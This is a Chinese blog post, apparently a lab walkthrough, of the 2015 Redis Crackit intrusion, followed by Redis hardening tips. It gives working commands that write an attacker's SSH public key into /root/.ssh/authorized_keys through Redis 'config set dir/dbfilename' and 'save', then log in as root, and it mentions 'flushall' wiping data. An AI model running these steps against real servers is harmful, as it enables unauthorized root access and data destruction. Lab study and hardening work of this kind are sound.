Redis_Crackit漏洞介绍

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/boke14122621/article/details/86671918

2015年11月10日,有网络安全厂商指出国内互联网产生了大量针对Redis数据库服务器的扫描流量,其中有不少Redis服务器的数据库被清空,且/root/.ssh/authorized_keys文件被创建或改写,入侵者可以获取受影响服务器的完全控制权限。因为受影响的Redis服务器的数据库被清空,但留存有一条键名为crackit的记录,因此这次事件被命名为Redis Crackit入侵事件。

简单的描述就是redis在用户目录写入一个ssh私钥文件,从而建立一个信任关系,这样不需要输入ssh密码就可以登入

SSH公钥登录

 

    OpenSSH支持使用公钥登录远程服务器,其原理十分简单,即首先在Linux下使用ssh-keygen来生成公私钥对,其中公钥存放在远程服务器的$HOME/.ssh/authorized_keys文件中,在登录远程服务器时提供对应的私钥即可。

 

    在Windows下,使用PuTTY的puttygen.exe组件也可以十分方便的生成公私钥对,其中生成的私钥文件可以提供给PuTTY用于登录远程服务器。

利用方法:

1.首先利用PuTTY Key生成一对密钥可以得到公钥与私钥

2.然后通过redis-cli.exe客户端把公

钥传到redis服务器上面。

3.然后修改dir的目录为/root/.sh

备份文件的名字修改为authorized_keys

4.之后直接通过私钥登录远程

服务器就可以了。

步骤:

1、扫描端口查找有redis服务的服务器

2、连接查看是否需要授权

3、查看config dir

4、设置config dir

5、生成私钥和公钥

6、上传公钥到服务器

7、把公钥设置到服务器私钥认证文件

8、使用私钥登陆服务器

 

 

注意:redis的默认端口是6379

生成RSA公私钥对

      首先需要生成RSA公私钥对,其中公钥将通过利用Redis数据库的安全脆弱点来上传到目标服务器,私钥将用于登录目标服务器。

      进入Windows XP实验机器后,打开puttygen.exe程序(位于C:\Program Files\PuTTY\puttygen.exe),依次选择PuTTY密钥生成器对话框下的“密钥”、“生成密钥对”菜单项,其他参数使用默认设置即可。如下图所示:

      

      点击“生成密钥对”菜单项之后,将会启动密钥生成过程。在生成过程中,需要将鼠标在进度条下方的空白区域不断移动,以便产生随机数据。如下图所示:

      

      待密钥对生成完毕之后,公钥将会显示在界面上方的文本框中。如下图所示:

      

      注意,每次生成的公私钥对都是不一样的,因此实验时以实际生成的密钥对为准。这里的公钥为ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAr50qqSE5UlsGGzJ5v7SFuYrYKTTsg9N/COZLqK5dz69AWXwMBQo+z04seEq+tX806BoKtFA3vJcz5nY10G08v4bnpEWp9y6g4NFxxkrGm55eIdLbFLH87nd2KuxqpHXT4PtR84Lqo4Wq7R9+jTsgsmE/U0ELN8Wyea3iCF94oVM= rsa-key-20151112。随后点击“保存私钥”按钮将对应的私钥保存到文件,在保存过程中将弹出PuTTYgen警告消息框“确定不给该密钥设置密码保护么?”,点击“是(Y)”按钮将私钥保存到桌面的key.ppk文件。

实验步骤二

基于Redis数据库添加SSH公钥

      现在我们需要将实验步骤一中生成好的公钥添加到目标服务器的$HOME/.ssh/authorized_keys文件中。

      首先,将实验步骤一中生成的公钥保存到C:\Program Files\redis\key.txt中,注意需要在文件的头部和尾部多留几个空行,以便公钥始终可以保持在单独的一行而不会和其他数据混在一行中。对应的操作步骤如下:

      1.在C:\Program Files\redis\目录下新建key.txt文件,使用鼠标选中key.txt后单击右键菜单并选择“Edit with Notepad++”,粘贴公钥到文件中,如下图所示:

      

      2.在Notepad++中依次选择菜单项“编辑”、“档案格式转换”、“转换为 UNIX 格式”,将档案的格式转换为UNIX格式,以保证文件中的换行符是\n而不是\r\n。

      3.保存key.txt文件并退出Notepad++。

      现在打开CMD命令提示符,并依次执行以下命令:

      1.cd "C:\Program Files\redis",用于切换工作目录;

      2.type key.txt | redis-cli.exe -h 10.1.1.101 -x set crackit,表示在主机10.1.1.101上的redis数据库中插入一条记录,对应的键名为crackit(键名可以是其他字符串,不一定需要写成crackit),键值为key.txt中的内容;

      3.redis-cli.exe -h 10.1.1.101,用于连接到主机10.1.1.101上的redis数据库并创建一个交互环境;

      4.redis 10.1.1.101:6379> config set dir /root/.ssh/,用于将Redis数据库硬盘备份文件的存放目录修改为/root/.ssh/;

      5.redis 10.1.1.101:6379> config set dbfilename authorized_keys,用于将Redis数据硬盘库备份文件的名字修改为authorized_keys;

      6.redis 10.1.1.101:6379> save,将Redis数据库在内存中的数据保存到硬盘备份文件中,即转储到/root/.ssh/authorized_keys文件中;

       以上操作如下图所示:

      

       至此,我们已经基于Redis完成了将公钥保存到服务器的/root/.ssh/authorized_keys文件中的操作。以上操作在真实场景中可能存在一个问题:服务器上的Redis数据库中可能已经存在大量数据,因此插入crackit键时,在公钥数据之前可能已经存在有大量其他数据,在执行完save操作时,在authorized_keys文件中可能在公钥字符串之前也存在大量数据,因此可能对后续SSH登录服务器时造成干扰。

       为了克服这一难题,不少入侵者采取了极端暴力的做法:在向Redis数据库插入公钥字符串之前执行flushall命令,该命令会清空Redis数据库中的数据,以保证接下来插入的公钥字符串位于硬盘备份文件的头部。可以看出,使用flushall会清空目标服务器中Redis数据库的数据,如果没有备份数据的话这可能造成灾难性的损失!

实验步骤三

使用私钥登录远程服务器

      在实验步骤一中我们生成了公私钥对,其中私钥保存在Windows XP实验机器桌面上的key.ppk文件中,公钥已经通过Redis上传到远程服务器的/root/.ssh/authorized_keys文件中。

      现在,已经可以使用PuTTY来登录远程服务器了。首先,打开C:\Program Files\PuTTY目录下的PuTTY.exe文件,在主界面中填写好服务器的配置信息,即IP地址填写为10.1.1.101,端口号填写为22,如下图所示:

      

      在PuTTY中填写好服务器的IP地址和端口号之后,单击PuTTY主界面左侧树形控件中Connection节点下的Data节点,将Auto-login username的值设置为root,即以用户名root登录,如下图所示:

      

      最后,点击左侧树形控件中Connection节点下的SSH节点,以及SSH节点下的Auth节点,在对应的界面中点击Browse按钮选择桌面上的key.ppk文件,如下图所示:

      

      现在,单击Open按钮登录远程服务器,发现可以成功登录!测试一下whoami命令,提示是root账户,如下图所示:

      

      至此,已经成功基于Redis的特性获取到远程服务器的完全控制权限!在这里提供几点Redis加固建议(全部通过修改Redis配置文件redis.conf完成):

      1.修改bind参数,将服务器绑定到127.0.0.1上;

      2.修改port参数,监听端口改成其他端口号;

      3.修改requirepass参数,设置一个复杂的密码;

      4.通过rename-command修改config命令的名字,如修改为空字符串""表示禁用config命令;

      5.不要以root用户启动redis-server进程。

ubuntu上连接可以参考以下博客:

http://blog.itpub.net/29254281/viewspace-1878366/

猜你喜欢

转载自blog.csdn.net/boke14122621/article/details/86671918
今日推荐